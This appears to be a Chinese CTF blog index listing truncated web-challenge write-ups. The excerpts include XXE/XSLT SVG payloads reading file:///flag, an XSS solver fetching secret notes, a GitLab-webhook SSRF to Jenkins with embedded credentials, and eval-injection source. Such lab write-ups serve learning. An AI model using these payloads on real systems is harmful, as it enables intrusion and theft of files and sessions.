MyGO's Live!!!!!
原题是 SekaiCTF的Scanner Service // Inspiration: SekaiCTF scanner serviceconst express = require('express');const { spawn } = require('child_process');const fs = require('fs');const app = express();const port = 3333;app.use(express.static('public'));app.get('/', (req, res) => { fs.readFile(__dirname + '/public/index.html', 'utf8', (err, data) => { if (err) { console.error(err); res.stat ...
easy latex
我觉得应该是最难的一个了,哦不对,还有一个看不懂的 base = new URL(theme, `http://${req.headers.host}/theme/`) + '/' 这是可控的 const ctx = await browser.createIncognitoBrowserContext(); try{ const page = await ctx.newPage(); await page.setCookie({ name: 'flag', value: FLAG, domain: `${APP_HOST}:${APP_PORT}`, httpOnly: true }) await page.goto(url, {timeout: 5000}) await s ...
hook
先mark一下 ps:来自网络从 GitLab 发送的 webhook 以 302 响应代码响应时,GitLab 会自动遵循重定向。由于 302 重定向之后是 GET 请求,因此我们能够利用 GitLab 绕过上述 POST 请求限制,并从 GitLab webhook 服务向目标发送 GET 请求,这是我们在 GitHub 上无法做到的。使用以下 URL 设置 Webhook:http://jenkins.example-domain.com/j_acegi_security_check?j_username=admin&j_password=secretpass123&from=/job/prod_pipeline/1/consoleText&Submit=Sign+in向 Jenkins 发送 POST 请求,身份验证成功。我们收到一个 302 重定向响应,其中包含一个会话 cookie,并重定向到作业控制台输出页面。GitLab webhook 服务会自动跟随重定向,将 GET 请求发送到作业控制台输出页面,以及添加到请求中的会话 cookie:http ...
story
草了,就差一点,妈的 import requestsfrom utils.captcha import Captcha, generate_codewhile True: headers = { "User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)", "Connection": "close", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en", "Accept": "*/*" } gen = Captcha(200, 80) gen.generate() captc ...
Go Lakers
复现环境有点问题 主要就是读源码 然后根据解码写出编码程序 <?phpfunction en_code($value){ $result = ''; for($i=0;$i<strlen($value);$i++){ $result .= chr(ord($value[$i])+$i*2); } $result = base64_encode($result); return $result;}echo en_code('flag.php'); 最后得到flag就行
calc
考点 p神的环境变量注入 eval变量覆盖 16进制和unicode绕过waf 源码 @app.route("/calc",methods=['GET'])def calc(): ip = request.remote_addr num = request.values.get("num") log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num) if waf(num): try: data = eval(num) os.system(log) except: pass return str(data) else: ...
xssbot
命名得是svg <?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="?#"?><!DOCTYPE div [ <!ENTITY flag_p "file:///flag"> <!ENTITY flag_c SYSTEM "file:///flag">]><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:copy-of select="document('')"/> <bo ...
xssbot-re
import timefrom pwn import *#context.log_level = "debug"chars = "{}_-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"svg='''<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="?#"?><!DOCTYPE div [ <!ENTITY flag_p "file:///flag"> <!ENTITY flag_c SYSTEM "file:///flag">]><xsl:stylesheet version="1.0" xmln ...
club
思路是对的,就是负数 但是有一点没对,太大了会直接变成NAN之后就绷了 利用的是IEEE 756的误差 -1e300传过来再改10亿也不会变
whereisTheScope
先放个别人的wp // solver.jsconst axios = require("axios");const OTPAuth = require("otpauth");(async () => { try { // get URI to generate token const response = await axios.post( "http://127.0.0.1:8080/setup_2fa" ); const token = OTPAuth.URI.parse(response.data.totp).generate(); // console.log(`token: ${token}`); const xss_payload = `fetch('/secret_note?token=${token}').then(resp => resp.text()).then(tex ...
peak
果然是xss <!-- dist/web/pages/view_message.php --> <!-- (snip) --> <section id="message" class="py-5"> <div class="container mt-5"> <?php if (isset($message)): ?> <h1><?php echo htmlentities($message['title']);?></h1> <p><?php echo $message['content']; ?><!-- this --> <?php if($message[ ...
Upside-down cake
{ "palindrome": { "0": "a", "length":"1000", "999":"a" }} 创建一个对象,对象的length是1000 然后给0和999填数据,得到flag const validatePalindrome = (string) => { if (string.length < 1000) { return 'too short'; } for (const i of Array(string.length).keys()) { const original = string[i]; const reverse = string[string.length - i - 1]; if (original !== reverse || typeof original ...
avatar
dionysus
我醉欲眠卿且去
此心安处
公告